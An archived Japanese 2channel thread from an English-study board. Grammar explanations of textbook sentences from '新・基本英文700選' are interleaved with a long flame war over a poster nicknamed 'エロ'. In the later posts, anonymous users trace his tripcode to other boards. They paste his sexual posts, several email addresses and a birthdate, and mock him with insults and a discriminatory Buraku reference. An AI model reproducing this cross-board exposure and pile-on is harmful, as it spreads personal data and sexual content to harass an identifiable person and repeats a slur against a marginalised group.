他人を自演、荒らし認定して煽ってるヤツなんだろ。
>>245みたいに。上げてるしな。

上げ自体が煽りで>>272が挑発に乗せられたってことじゃね?スルーしろよ。

278 :名無しさん@英語勉強中:2006/12/14(木) 04:39:34
待てよ。>>271から>>275まで全部エロの自演で、
それで自演荒らし予告してるとも考えられるなw

どっちにしろ>>271>>273>>275の断定的表現が気になるなw
コイツが荒らし予告して、絶対に荒らしにくるんだろうな。

今日はレス禁止にした方が、いいんじゃね?
誰も相手しなければ荒れないだろうから、煽りをスルーするだけでOK。
まあ、1人でも自演荒らしするだろうけど。少ないだけマシかと。

279 :名無しさん@英語勉強中:2006/12/14(木) 07:52:45
>今日はレス禁止にした方が、いいんじゃね?
>誰も相手しなければ荒れないだろうから、煽りをスルーするだけでOK。
>まあ、1人でも自演荒らしするだろうけど。少ないだけマシかと。

>の断定的表現が気になるなw

280 :名無しさん@英語勉強中:2006/12/14(木) 07:59:40
結局エロかその援護とそのアンチなのか荒しの口実にエロを使ってる>>4の類か
1人ずつジエン合戦してるようにしか見えないけどなぁ。

まあコテも名乗れ(rg

だとまた、レッテル貼られますかw

281 :名無しさん@英語勉強中:2006/12/14(木) 10:28:37
また無駄な事で・・
俺はエロに消えてもらいたい。。
勝手口と西川口による解説で本当に十分。
エロの教授法を疑問視する声もあるし、そもそもエロのせいで非生産的な応酬が続くわでウザイ。
エロの存在がもはや癌。過去にも述べたが
エロがどうしても自己満したいなら、自分で作ったとかいうサイトでしこしこやってろ。

282 :名無しさん@英語勉強中:2006/12/14(木) 11:29:00
このスレを頼りに勉強してる側にしたらどんな言い分も騒音
図書館で勉強してたら、口論が始ったような感じ

以降、お静かにお願いします

283 :名無しさん@英語勉強中:2006/12/14(木) 11:48:44
自分の持論の展開、他人への押し付け(理由はエロだからワラ)

反論するな(以降、お静かにお願いします)

多人格で嵌め込みたい気持ちはわかるがもう少し工夫しろよっと
つーか、今日はレス禁止の嵌め込みだったんじゃないの?

方針転換か?


284 :名無しさん@英語勉強中:2006/12/14(木) 11:57:04
名無しのエロの登場です

285 :名無しさん@英語勉強中:2006/12/14(木) 12:13:45
>>4は、方針転換したな。

286 :名無しさん@英語勉強中:2006/12/14(木) 12:36:40
>>285
自己紹介だろw

287 :名無しさん@英語勉強中:2006/12/14(木) 12:52:19
さてさてホントのエロの登場です。

288 :名無しさん@英語勉強中:2006/12/14(木) 13:31:47
>1-5,>6-10,11-15 >16-20,21-25 >26-30,>31-35,36-40 >41-45,46-50
>51-55>56-60,61-65,66-70,>>71-75,76-80,81-85,86-90,>91-95,96-100
>101-105,106-110,111-115,>116-120,>121-125,126-130,>131-135,136-140,141-145,146-150
>151-155>156-160,161-165,166-170,171-175,176-180,181-185>>186-190,191-195,196-200
>200-205,206-210,211-215,216-220,221-225,226-230,231-235,236-240,241-245,246-250
>251-255,>256-260,261-265,266-270 >271-275,276-280,281-285>>286-290,291-295,296-300
>301-305,306-310>311-315,316-320>321-325,326-330,331-335,336-340,341-345,346-350
>351-355>356-360,361-365,366-370>371-375,376-380,381-385,386-390,391-395,396-400
>401-405,406-410,411-415,416-420,421-425,426-430,431-435,436-440,441-445,446-450
>451-455,456-460>461-465,466-470 >471-475,476-480,481-485,486-490,491-495,496-500
>501-505>506-510,511-515,516-520,521-525,526-530,531-535,536-540,541-545,546-550
>551-555,556-560,561-565,566-570>571-575,576-580,581-585,586-590,591-595,596-600
>601-605,606-610,611-615,616-620>621-625,626-630,631-635,636-640,641-645,646-650
>651-655,656-660>>661-665,666-670>671-675,676-680,681-685,686-690,691-695,696-700
>701-705,706-710,711-715,716-720,721-725,726-730,731-735,736-740,741-745,746-750
>751-755,756-760>>761-765,766-770,771-775,776-780,781-785,786-790,791-795,796-800
>801-805,806-810,811-815,816-820>821-825,826-830,831-835,836-840,841-845,846-850
>851-855,856-860>861-865,866-870,>871-875,876-880>881-885,886-890,891-895,896-900
>901-905,906-910,911-915,916-920,921-925,926-930>931-935,936-940,941-945,946-950
>951-985,>956-960,961-965,966-970>971-975,976-980,981-985,986-990,>991-995,>993-1000

289 : ̄ ̄ ̄ ̄ ̄V ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄:2006/12/14(木) 13:39:05
:_,-"::::/    ̄"''-                    ヽ::::i
.(:::::{:(i(____        i|     .|i          _,,-':/
`''-,_ヽ:::::''- ,,__,,,, _______i|      .|i--__,,----..--'''":::::ノ
  "--;;;;;;;;;;;;;;;;;""''--;;i|      .|i二;;;;;::---;;;;;;;::--''
          ̄ ̄"..i|       .|i
            .i|          .|i
   ファッビョ━━ i|          .|i ━━━━━ンッ!!!
           .i|    .∧_∧    |i
    ∧_∧ .i|   ∩#`Д´>'')  |i ∧_∧
    (;・Д・) i|    ヽ エロ ノ    .|i (;´Д`)
  ⊂勝手口)i|      (,,フ .ノ      |i(西川口つ
,,/^ヽ,-''":::i/:::::::::.      レ'     ::::::::::::ヽ,_
;;;;;;:::::;;;;;;;;;;:::::;;;;;;;;:::;;;;;;;;;;:::::;;;;;;;;;;:::::;;;;;;;;:::;;;;;;;;;;:::::;;;;;;;;;;:::::_| ̄|○
                           スレ住人

290 :名無しさん@英語勉強中:2006/12/14(木) 14:07:20
ww

291 :名無しさん@英語勉強中:2006/12/14(木) 14:07:41



さてさて>>4がエロ扱いされて本性を出し始めましたよ。





292 :名無しさん@英語勉強中:2006/12/14(木) 14:25:22
粘着自演(エロ)のガイドライン

7:陰謀であると力説する
8:知能障害を起こす
9:自分の見解を述べずに人格批判をする
10:ありえない解決策を図る
11:レッテル貼りをする
12:決着した話を経緯を無視して蒸し返す
13:勝利宣言をする
16:さも当然のように未決着事項を前提にする。
17:論点をすりかえる。
21:全てか無かで途中を認めないか、あえて無視する。25:嘲笑で優位に立った様に振舞う
26:反論の代わりに詭弁ということにしてすます

293 :名無しさん@英語勉強中:2006/12/14(木) 14:53:31
なんか(>>4)はエロの自作自演にしか思えないんだが。
「アンチエロ=荒らし」という型にはめようとしてるのが見え見え。
自分で荒らし依頼スレにレスしといて、それを前スレにコピペしたんだろ。
ヘビー2ちゃんねらのエロと違って、普通の英語板の住人ならあんなスレ行かないし、知らないし。
なんか自分達で差別落書きをしといて、
それネタに学校を脅したブ落解放同盟みたいw

最初はアンチエロを重複スレの1のせいにできたのが、
スレが終わり、そいつのせいにできなくなると昔のレスを持ちだしてはそいつのせいに。
しまいには自作自演で「荒らし」を作る始末。

294 :名無しさん@英語勉強中:2006/12/14(木) 15:04:16
無理ないいわけだな。もっとカンガエレ

295 :名無しさん@英語勉強中:2006/12/14(木) 16:56:37
図星か

296 :名無しさん@英語勉強中:2006/12/14(木) 17:16:54
Yes,sir!

なんか(>>4)はエロの自作自演なシナリオに持ちこめないんだが。
「アンチエロ=荒らし」という型にはめようとしてるのが見え見えだったなorz..
自分で荒らし依頼スレにレスしといて、それを前スレにコピペしたんだ。
ヘビー2ちゃんねらの俺と違って、普通の英語板の住人ならあんなスレ行かないし、知らないし。
なんか自分達で差別落書きをしといて、
それネタに学校を脅したブ落解放同盟みたいだろ?

最初はアンチエロを重複スレの1のせいにできたのが、
スレが終わり、そいつのせいにできなくなると昔のレスを持ちだしてはそいつのせいに。
しまいには自作自演で「荒らし」を作る始末
このシナリオも書き換えないと。

297 :名無しさん@英語勉強中:2006/12/14(木) 18:11:54
お前ら勝手口と西川口を見習えよ
解説者たちはオールスルーしてるぞ

298 :名無しさん@英語勉強中:2006/12/14(木) 21:00:12
>>297
エロはスルーできなかったけどな。そのせいで粘着されてるし。

煽り耐性のない糞コテのせいで、荒らしが酷い。

エロ消えろ。2度と来るな。

299 :名無しさん@英語勉強中:2006/12/14(木) 21:25:51
>>298
トリ付で、あんな発言する奴だからな。
トリ無では、もっと酷いのだろう。

まじめにコツコツと解説を続けていれば、荒らし扱いされないのに。
それがないってことは、始めから荒らし目的と思われかねない。

300 :名無しさん@英語勉強中:2006/12/14(木) 21:27:18
今更解説続けられたらそっちの方が迷惑だ

301 :名無しさん@英語勉強中:2006/12/14(木) 22:20:12
んだんだ

302 :名無しさん@英語勉強中:2006/12/14(木) 22:36:52
ここで雑談終了
仕切るなってレスも禁止
解説再開↓

303 :西川口 ◆Im4lkGa4xk :2006/12/14(木) 23:15:58
115の文
He looked upon A time as B time.
(彼は、A の時間を、B の時間と同じと考えた。)

A の時間
any time not spent in study (勉強に費やされなかったあらゆる時間)
I spent an hour in study. (勉強という状況の中で1時間)→1時間勉強に費やした
本文のspent は過去分詞でtime を修飾。

B の時間
so much lost time (そのくらいたくさんの、失われた時間)
あまり深く考えず、頭から訳すだけです。(実は、脚注の説明がいまいちよくわかりません。)

He ○×△ed A as B. (彼は、A を B と同じものと、○×△した。)
○×△には、「思った」とか「考えた」のような思考系の動詞が来そうです。
assume A as B (A を B と仮定する)
define A as B (A を B と定義する)

また、思った結果を口に出したり、行動に表したりする場合もあります。
describe A as B (A を B と述べる)
treat A as B (A を B として扱う)
いずれにしても、A を Bと同じものと考えています。動詞の意味がわからない場合は、
「考える」を当てはめておけば、致命的な誤読は避けられる(かもしれません)

304 :名無しさん@英語勉強中:2006/12/15(金) 01:41:26
嵌めこみなのに素直に解説してるところがスゴイ

305 :名無しさん@英語勉強中:2006/12/15(金) 02:16:02
おまえらあんまり煽ってやるな。エロだって引込みがつかないんだ。

306 :名無しさん@英語勉強中:2006/12/15(金) 02:16:23
>>304
多人格自演荒らしの嵌め込みが、みごとに決まったなw
つまり、解説者以外は、おまえしか書き込みしてないってことだ。

307 :名無しさん@英語勉強中:2006/12/15(金) 02:35:02
>>306
粘着自演は、おまえだろwwww
低脳屑二度と来るな

308 :名無しさん@英語勉強中:2006/12/15(金) 02:35:03
>>306
おまえだろーがwwwwwwww
自演野郎www

309 :名無しさん@英語勉強中:2006/12/15(金) 02:39:20
ここで自演終了
嵌めこみってレスも禁止
解説再開↓

310 :名無しさん@英語勉強中:2006/12/15(金) 07:50:42
>>309が痛い点を徐々に勝手に禁止宣言してる点について。

311 :勝手口 ◆KatteG.R4k :2006/12/15(金) 09:16:21
>>303
ここの「so much」は、例えば、「勉強に使わない時間」が「4時間」あったとしたら、
「失われた時間」も同量の「4時間」だということです。

該当箇所:
「§126 many と much、[3] many, much を含む慣用表現、
 (4) like so many [much],as so many [much](それと同数[同量]の〜のように,まるで〜のように)」

They worked like so many ants. (彼らはアリのように働いた)
彼らが「4人」であれば「4匹のアリのように」ということです。

312 :名無しさん@英語勉強中:2006/12/15(金) 12:11:18
>>307-308
/|l. l. | |l l | | l |l.| |l. l
/' j/ ノ|ル'/レ〃j/l |
-‐7" ヾー---┐|_.j
 ̄   ./゙ニ,ニF、'' l _ヽ
::   ,.,. |ヽ 」9L.` K }.|
    l'  """  l ) /
  h、,.ヘ.      レ'/
          レ′
 r.二二.)     /  
  ≡≡    ,イ
.       / !



313 :名無しさん@英語勉強中:2006/12/15(金) 17:30:34
そろそろ>>111

314 :◇IuJiIQCtrs:2006/12/15(金) 21:49:15
オマイら俺のいない間にあまりおもしろい事するなよwwwww

ってか勝手は今日に限って朝の9時からカキコですかwwwww
化けの皮がはがれてきたな

315 :名無しさん@英語勉強中:2006/12/15(金) 21:59:59
何も反応するなよ
このレスに対する反応も禁止
解説再開↓

316 :勝手口 ◆KatteG.R4k :2006/12/15(金) 22:41:06
283.(未来進行形:自然の成り行き)
M2((If s v x)), / S / will be cheating. (文型:S V)

if節内は、S / (will) do / that (文型:S V O)

未来進行形は、進行形の部分の意味によって、
(1)「未来+進行」と、(2)「未来+取り決め」の2つの用法に分かれます。
ただし、未来進行形は「意志未来」を表さず、主語の意志とは無関係な「単純未来」となります
(場合によっては「現在の推量+進行/取り決め」にもなります)。
該当箇所:
「§192 未来進行形 (Future Progressive)」

(2)の用法は注意が必要で、「自然とそうなる」という成り行きを表し、
「〜するということになる」といった意味になります。
文脈に応じて、意思と関係のない予定や論理的帰結なども表します。
なお、この用法の場合、状態動詞でも進行形になります。
(例文278の「must be -ing」も同じような用法です。安藤 p.119)

単純未来形と未来進行形の違いは、会話でもかなり重要です。
相手の意思ではなく予定を尋ねることで、丁寧な表現になったり、
何かの親切をするときに「いや、ついでがあるだけだから」と下心を隠すことができます。
参考:
「§192 未来進行形、[注]Will you … ? と Will you be 〜ing ?」

317 :勝手口 ◆KatteG.R4k :2006/12/15(金) 22:41:42
284.(未来進行形:未来のある時に進行中の動作・出来事)
M2((From...sky)), / S / will ((probably)) be raging / M2((in...fury)) / M2((about...tomorrow)). (文型:S V)

「in all its fury」は、「前置詞+名詞」が副詞になるもので、「most furiously」といった意味になります。
該当箇所:
「§322 前置詞つきの句の用法、[2] 副詞用法、(1) 動詞を修飾する」

「((about)) this time tomorrow」は副詞的目的格。
この形は、「this time last year」「this time next week」などいろいろ使えます。

318 :名無しさん@英語勉強中:2006/12/15(金) 22:43:07
何も反応するなよ
このレスに対する反応も禁止
解説再開↓

319 :名無しさん@英語勉強中:2006/12/15(金) 22:47:58
何も反応するなよ
このレスに対する反応も禁止
解説再開↓

320 :西川口 ◆Im4lkGa4xk :2006/12/15(金) 23:58:05
>>311
解説ありがとうございます。
疑問に思ったのは、次のようなことです。

so much は、場合によっては、「すっご―くたくさん」という意味にもなります。
なので、そんなに簡単に、so much から 「たくさん」という語感を消し去ることは
難しいのではないかと考えました。

そんな so much の意味が「それだけの量・程度の」(700選 P31 脚注)
というように、淡々と説明されてたので、ちょっと「?」だったわけです。
「たくさん」の気持ちは消えちゃうの?ということです。

本文も、30分テレビを見ただけで、「あ〜、たくさん無駄な時間を過ごしたorz」
そんな気持ちが115の文の背後にあると思ったので、「たくさん」の気持ちは重要かと。

so much lost time は、「それくらいたくさんの無駄になった時間」という直訳で
いいのではないでしょうか。それとも、「たくさん」の気持ちは消えるのが本当
なんでしょうか。そのあたりがわからなかったということです。

>They worked like so many ants. (彼らはアリのように働いた)
>彼らが「4人」であれば「4匹のアリのように」ということです。

彼らは「数十人」くらいいるような気がします。その方がアリっぽいですし。

321 :西川口 ◆Im4lkGa4xk :2006/12/16(土) 00:00:18
116の文
congratulate は、「人」をお祝いするときの言葉。つまり目的語は人です。
結婚式のような儀式等を祝うときは、celebrate になります。
(彼の友達は、「彼を」お祝いした。)

He finished high school. (彼は高校を卒業した)を動名詞で名詞化
→ his finishing high school が、on の目的語になった形。

on 〜 〜について
(彼が高校を卒業したコトについて、)

322 :名無しさん@英語勉強中:2006/12/16(土) 00:03:44
>>316
>>320
おまえらクールだな

323 :名無しさん@英語勉強中:2006/12/16(土) 00:21:50
解説者がクールじゃない良い例が一人いるじゃないか?
ああなりたくないからクールにしてるんだよw

324 :名無しさん@英語勉強中:2006/12/16(土) 00:33:45
>>323
あいつは解説者じゃない。

325 :名無しさん@英語勉強中:2006/12/16(土) 01:27:30
はじめての英文法さんのサイトってまだ完全にできてないんですか?

326 :名無しさん@英語勉強中:2006/12/16(土) 01:32:43
英語で一番長い単語って何ですか?
教えてくださいお願いします

327 :名無しさん@英語勉強中:2006/12/16(土) 05:19:07
>>323
また嵌めこみかwwwwww

何も反応するなよ
このレスに対する反応も禁止
ジエン再開↓

328 :名無しさん@英語勉強中:2006/12/16(土) 05:20:32
っていうかエロは最近どうしたんだ。
コテつけて堂々とタタカエ!!

329 :名無しさん@英語勉強中:2006/12/16(土) 05:24:47
256 :名無しさん@英語勉強中 :2006/12/13(水) 20:29:11
>>324
してるだろうが
前スレ見てから文句言え低脳屑二度と来るな

330 :名無しさん@英語勉強中:2006/12/16(土) 05:46:10
>>327
134 :名無しさん@英語勉強中:2006/12/05(火) 11:25:13
勝手口と西川口が住人に受け入れられてるのが疎ましいんだろうな。
だから荒らしたいんだよ。

331 :名無しさん@英語勉強中:2006/12/16(土) 05:46:11
107 :名無しさん@英語勉強中 :2006/12/03(日) 01:18:54
エロ先生もしくはそのシンパが本職ピックルだったというオチでおk?
萎えたとこで俺も寝よう。よかったら明日起きるまでに>>327の続きの解説してよ。>エロ

どんなに嫌われてようが、中途半端に解説を投げ出すのはだけは良くない。
レスした結果、エロが叩かれても責任はとらないが


332 :名無しさん@英語勉強中:2006/12/16(土) 07:44:11
結局>>4の思う壺

333 :名無しさん@英語勉強中:2006/12/16(土) 12:37:04
このスレ来る度に荒れててイライラする。
早く氏ね>エロ

334 :名無しさん@英語勉強中:2006/12/16(土) 13:32:44
だったらまとめサイトだけ見てればいいだろうが。
エロが気になって仕方ないんだろ?
粘着君( ´,_ゝ`)プッ

335 :名無しさん@英語勉強中:2006/12/16(土) 14:37:50
またエロか

336 :名無しさん@英語勉強中:2006/12/16(土) 20:54:19
前に増して工口が壊れてきたなw

337 :名無しさん@英語勉強中:2006/12/16(土) 21:06:43
何も反応するなよ
このレスに対する反応も禁止
ジエン再開↓

338 :名無しさん@英語勉強中:2006/12/16(土) 22:22:27
エロの正体
http://sakura01.bbspink.com/test/read.cgi/cherryboy/1143040008/483
http://yy22.kakiko.com/test/read.cgi/poison/1121406224/414

339 :名無しさん@英語勉強中:2006/12/16(土) 22:32:47
483 :おなる ◆IuJiIQCtrs :2006/03/24(金) 00:12:32
童貞だよ あたしゃあ

414 :エロエロ69 ◆IuJiIQCtrs :05/08/05 05:43:19 ID:1XmTs+tE
楽しくないのはもういやだ!
おれがここをエロ画像でいっぱいにしてやる!
感謝しる!

340 :西川口 ◆Im4lkGa4xk :2006/12/16(土) 23:22:40
117の文
the spread of television
名詞構文→ 94の文参照

deprive 〜 は、〜から奪う。deprive A of B (AからBを奪う)
*BからAを奪うではないので、紛らわしい。
of は「分離」を表す

rob the man of his watch (その男から時計を奪う)*時計を「分離」
strip the tree of leaves (木を裸にする)*葉を「分離」
cure him of the cancer (彼から癌を奪う→ 癌を治す)*癌を「分離」

現在完了形
過去に起こった the spread of television が、現在の我々にどんな影響を与えたのかを
述べているので、現在完了が用いられている。(現在完了は、過去を引きずった「現在」を表します。)

our time for reading (読書のための私たちの時間)
for 以下には目的(地)が来ています。

341 :名無しさん@英語勉強中:2006/12/16(土) 23:51:47
>>338>>339
どうやって見つけだして来たかわからんが、GJ!
書き込みから予測は出来てたが、やはり素でカスだったんだな。
エロのキモい実態を住人は嗅ぎ取っていたわけかw


342 :名無しさん@英語勉強中:2006/12/16(土) 23:52:56
しかも、他のスレでも嫌われてたし・・・

343 :名無しさん@英語勉強中:2006/12/17(日) 00:00:03
エロ69がうそつき詐欺師の九州女を忘れるスレ
http://yy22.kakiko.com/test/read.cgi/poison/1125682679/l50
1 :エロ69@96kg ◆IuJiIQCtrs :05/09/03 02:37:59 ID:+b/BrzPl
やっていいことといかんことがある!

351 :おなる ◆IuJiIQCtrs :2006/03/23(木) 23:41:21
マジでやらせろ

534 :おなる ◆IuJiIQCtrs :2006/03/24(金) 00:50:07
でもやらねえんだろ。 口だけはいやなんだよ。

528 :おなる ◆IuJiIQCtrs :2006/03/24(金) 00:45:15
セックスじゃなくても仲良くなれたらいいね。
同居人にも言われたわ「道歩いている人にやらせてくださいと土下座すればやれるんだよ!」って

502 :おなる ◆IuJiIQCtrs :2006/03/24(金) 00:26:24
今メールしている人のおっぱい触りたい。もし良ければ
488 :おなる ◆IuJiIQCtrs :2006/03/24(金) 00:16:42
興味が会ったらメールして。 tsuyako-kiraidayo-69@docomo.ne.jp 家に来るのもいいよ。




344 :勝手口 ◆KatteG.R4k :2006/12/17(日) 00:03:14
>>320
「so much」だからといって「たくさん」だと考えるのは危険だと思います。
やはり、「そんなに」ときたら「そんなに、ってどれほど?」を考える必要があるでしょう
(例文142参照。西川口さんも文法前スレ656でいってますよね)。
『英文法講義の実況中継』では、以下のように言っています(「比較(1)」『英文法 TRY AGAIN!』p.436)。
>as much とか so much とか、そういうのを見ながら、
>いつもきまって「たくさん」という気分になっていた人は根本的に間違っていた、と思ってよいでしょう。

特に、like や as の後ろにくる「so many/much」は原級比較と同様に考えるべきだと思います
(like や as の後だと「as many/much」が使いにくいので「so many/much」の慣用句ができたのではないかと妄想)。
辞書などの説明は次のようになっています。
「江川 p. 106」:「as/so many は『同数の』(=the same number of)の意味である」
ODEの「so」の項:「so many/much」-「indicating a particular but unspecified quantity」
ランダムハウスの「many」の項:「so many」-「(2) ((先行する数詞と相関的に用いて))(それと)同数の」
研究社新英和中辞典[第7版]の例文:「The three hours went by like so many minutes.」

ただ、例文115に関しては、「たくさん」の気持ちを感じるのは間違っていないと思います。
「so many/much」の後には、マイナスのイメージのものがくることが多く、
その場合「悪い意味でのたくさん」という気持ちを感じることができるでしょう。
ただし、あくまで文脈によって「相対的/主観的なたくさん」が感じられるだけであって、
実際の時間は、「1分」であろうと「1秒」であろうとかまわないわけです。

まとめると、俺は次のように考えます。
旧情報として「一定の量」が示されている場合、「so much」自体に「『たくさん』の気持ち」があるわけではない。
ただし、例文115の文脈においては「so much lost time」に「『たくさん』の気持ち」が感じられる。

345 :勝手口 ◆KatteG.R4k :2006/12/17(日) 00:04:17
B-2 に進みます。

285.(受動態:未来形)
S / will be / held / M2((at 10:30 a.m.)) M2((on Sunday)). (文型:S V C)(受動態)

英語の受動態は、能動態であれば目的語になってしまう名詞要素を
主語にすることによって話題の中心におく、といった感じですね。
「by...」で動作主を示すことはそれほど多くないと思います。
該当箇所:
「第16章 態」


286.(受動態:過去形)
S / was / caught / A((in a shower)) // (文型:S V C A)(受動態)
and // (S) / was / drenched / A((to the skin)). (文型:S V C A)(受動態)

「be caught in a shower」「be drenched to the skin」などは決まった形ですね。
受動態を使った表現はたくさんありますが、
前置詞をイメージをとらえながら、慣れていくのが良いと思います。
該当箇所:
「§280 by 以外の前置詞を用いる受動態」

346 :名無しさん@英語勉強中:2006/12/17(日) 00:08:22
371 :おなる ◆IuJiIQCtrs :2006/03/23(木) 23:44:48
まだだよ こないだ女呼んで自宅でコンパしたけど無理だった。
406 :おなる ◆IuJiIQCtrs :2006/03/23(木) 23:52:18
多分やれたと思うからすげー後悔。 夜這いかけたらよかった


338のスレを見にいった。
エロは童貞詐欺師とか基地害扱いされてる。奴が自演なんか朝飯前なのもわかった。

いくら貴様が暇なニートだからって、自演してこのスレを嵐にくるのやめろ。
まじめに英語を勉強したいと思ってきてるのもいるんだぞ


347 :名無しさん@英語勉強中:2006/12/17(日) 00:33:58
エ口の自演だった事に改めて納得。
コピぺ乙です。このまま彼が消えて平和が戻るといいな

348 :名無しさん@英語勉強中:2006/12/17(日) 00:53:01
163 名前: 平岩えろお ◆IuJiIQCtrs 投稿日: 2003/07/22(火) 01:49:16 ID:x5ZoEs7o [ 211.233.27.209 ]
早くたかひろ辞めねぇかな?
選挙になりゃ県議選で掴んだネームバリューでワシが町長の座をいただくぞ。
http://kanto.machibbs.net/tamamura/1047282473.html

32 名前: ◆IuJiIQCtrs 投稿日: 02/11/04 20:36 ID:BWTRcCAP
http://mizuki.sakura.ne.jp/~kumazou/cgi-bin/imgboard/img-box/
35 名前: 名無しかな? 投稿日: 02/11/05 00:07 ID:eL1D86j1

>>32
  ∧_∧
 ( ;´∀`)  チンコタッテキタ
 人 Y /
( ヽ し
(_)_)
http://vip.bbspink.com/ascii2kana/kako/1030/10301/1030152601.html

349 :名無しさん@英語勉強中:2006/12/17(日) 01:03:34
クソコテのレスもう貼ってこなくていいよ。
多分切りがないし見るだけで不愉快。
一人基地外がいるだけでここまで荒れるんだと実感させられた件。

350 :名無しさん@英語勉強中:2006/12/17(日) 01:24:25
あれは、エロじゃないだろ。
たまたまトリップが同じだけで。

何か弁解してくれ>エロ

351 :名無しさん@英語勉強中:2006/12/17(日) 01:24:26
まとめサイトからエロの解説を削除して、いいんじゃね?
>>1
>伝説の名著『新・基本英文700選』を品詞分解+文法解説して最強の構文集にするスレです。

歴史に残る計画にエロの名前は、いらないだろ?
伊藤和夫への冒涜だ。

352 : ◆IuJiIQCtrs :2006/12/17(日) 01:36:08
暇な奴らだなw

353 : ̄ ̄ ̄ ̄ ̄V ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ :2006/12/17(日) 01:44:16
:_,-"::::/    ̄"''-                    ヽ::::i
.(:::::{:(i(____        i|     .|i          _,,-':/
`''-,_ヽ:::::''- ,,__,,,, _______i|      .|i--__,,----..--'''":::::ノ
  "--;;;;;;;;;;;;;;;;;""''--;;i|      .|i二;;;;;::---;;;;;;;::--''
          ̄ ̄"..i|       .|i
            .i|          .|i
   ファッビョ━━ i|          .|i ━━━━━ンッ!!!
           .i|    .∧_∧    |i
    ∧_∧ .i|   ∩#`Д´>'')  |i ∧_∧
    (;・Д・) i|    ヽ エロ ノ    .|i (;´Д`)
  ⊂勝手口)i|      (,,フ .ノ      |i(西川口つ
,,/^ヽ,-''":::i/:::::::::.      レ'     ::::::::::::ヽ,_
;;;;;;:::::;;;;;;;;;;:::::;;;;;;;;:::;;;;;;;;;;:::::;;;;;;;;;;:::::;;;;;;;;:::;;;;;;;;;;:::::;;;;;;;;;;:::::_| ̄|○
                           スレ住人


354 : ◆IuJiIQCtrs :2006/12/17(日) 01:45:55
解説能力もない名無しがスレを潰すという良い例だ

355 :名無しさん@英語勉強中:2006/12/17(日) 01:49:17
工口の自演確定です。ありがとうございました。
>>350 完全一致してるのにたまたま?
釣りじゃないとしたら
池沼乙といわざるえないんだがw

356 :名無しさん@英語勉強中:2006/12/17(日) 02:00:31
243 :おなる ◆IuJiIQCtrs :2006/01/17(火) 01:57:11
シノのまんこはいい匂いするんじゃないかな
http://sakura01.bbspink.com/test/read.cgi/cherryboy/1137416209/243

425 :おなる ◆IuJiIQCtrs :2006/01/12(木) 01:56:10
舌入れていい?
http://sakura01.bbspink.com/test/read.cgi/cherryboy/1125547390/425

473 :おなる ◆IuJiIQCtrs :2006/01/11(水) 19:02:16
ソープ行きたいのでソープ代下さい。
http://sakura01.bbspink.com/test/read.cgi/cherryboy/1121079841/473

357 : ◆IuJiIQCtrs :2006/12/17(日) 02:04:21
>>355
池沼乙

358 :名無しさん@英語勉強中:2006/12/17(日) 02:08:29
ひらきなおってこてつけてかつどうちゅう

359 :名無しさん@英語勉強中:2006/12/17(日) 03:01:29
311 :おなる ◆IuJiIQCtrs :2005/09/16(金) 09:14:06
キスしたい。 murugiranch@fooos.com
http://sakura01.bbspink.com/test/read.cgi/cherryboy/1125547390/311

109 :おなる ◆IuJiIQCtrs :2006/04/11(火) 19:01:59
雨で花見中止になってしまったよ…。 ついでに女の花も見たかったのに…
http://sakura01.bbspink.com/test/read.cgi/cherryboy/1143347810/109

414 :アンジェ ◆IuJiIQCtrs :2006/12/08(金) 21:51:45
なあに〜 猥談?入れて入れて〜
それから名無したち、悪いけどここに来てる守護聖たちは
全部私が喰ってますからww
そう… ジュリアスなんて早かったわね。
いわゆる三こすり半って奴?
早く終わりすぎよ。本人は満足してたみたいだけど。
http://etc3.2ch.net/test/read.cgi/charaneta2/1163100787/414

360 :名無しさん@英語勉強中:2006/12/17(日) 03:02:11
626 :ねるぢぇら ◆IuJiIQCtrs :04/09/17 19:21:44
俺も自給自足してます。同人やってなかった頃は、まだ結構羞恥心があってw
書店で急いで成年コミック買って去っていったもんだが、やっぱり
自分のニーズに100%あってるものって、見つけるの難しいね。
自分の好みは、かなり絵柄が濃くて汁だくでネトネトなのが好きだから
マニアックすぎたらしくて・・・w
同人始めてから、ほとんどそーゆう系の本ほとんど買ってない。
俺はもともとエロ描くのが好きで、女の子描くのも好きだから変な抵抗ないし
好きで描いてて、それを買ってくれる人も少ないけどw、いて嬉しいし、なおかつ
自分の絵でイけて満足だから一石二鳥。

でも同人始めて最近思ったんだけど、俺の絵はあんま美少女とか萌えではなくて
エロ重視なんだけど、即売会で買ってくれた人ってやっぱヌいてくれてるんですかね?w
自分の描いた本でそーゆうことされるのって微妙な気持ちだけど、でも嬉しい
実用性があるものを作りたいと思っているので・・・
http://comic6.2ch.net/test/read.cgi/2chbook/1025710940/626

361 :名無しさん@英語勉強中:2006/12/17(日) 03:08:06
65 :おなる ◆IuJiIQCtrs :2006/01/12(木) 01:49:23
だから22才くらいがいいって!
69 :おなる ◆IuJiIQCtrs :2006/01/12(木) 01:53:06
俺、22よ?
83 :おなる ◆IuJiIQCtrs :2006/01/12(木) 02:04:34
昭和58年8月28日午前3時生まれじゃ!
102 :おなる ◆IuJiIQCtrs :2006/01/12(木) 02:18:06
童貞でもよくねえよ! 会おうぜ!jfkm@compass.jp
111 :おなる ◆IuJiIQCtrs :2006/01/12(木) 02:26:18
長さ14センチ太さ5センチですが?
116 :おなる ◆IuJiIQCtrs :2006/01/12(木) 02:29:17
精力ならだれにも負けません!
118 :おなる ◆IuJiIQCtrs :2006/01/12(木) 02:35:00
どろっとしたものでるよ
129 :おなる ◆IuJiIQCtrs :2006/01/12(木) 02:45:26
お前不幸になれ〜♪
199 :おなる ◆IuJiIQCtrs :2006/01/12(木) 22:06:30
セフレになってくれよ!
http://sakura01.bbspink.com/test/read.cgi/cherryboy/1136962017/

362 :名無しさん@英語勉強中:2006/12/17(日) 03:44:26
If you are to know about the real world, it can only be by inferring things about it from the appeaences.
この文のIf節以外について解説をお願いします。

it can only be (by inferring things about it from the appearences).

この文のitは何を指すんでしょうか?
まとめサイトから推測してitに当てはめてみると、
to know about the real world can only be by inferring things about the world.

You can know about the real world by inferring things about the world from the appearences.
直訳で「あなたは外見から世界のことを推測することにより、真の世界を知ることができるのです。」
これでOKですか?

363 :名無しさん@英語勉強中:2006/12/17(日) 03:58:08
http://wow.bbspink.com/hneta/kako/1038/10387/1038734159.html
http://okazu.bbspink.com/ascii/kako/1034/10343/1034345545.html

1 :1 ◆IuJiIQCtrs :04/11/26 06:14:46 ID:xlUOBy7j
当方埼玉県南部に住む子供2人の40歳。パイプカットを考えています。
パイプカットをされた方やお考えの方、色々教えて下さい。
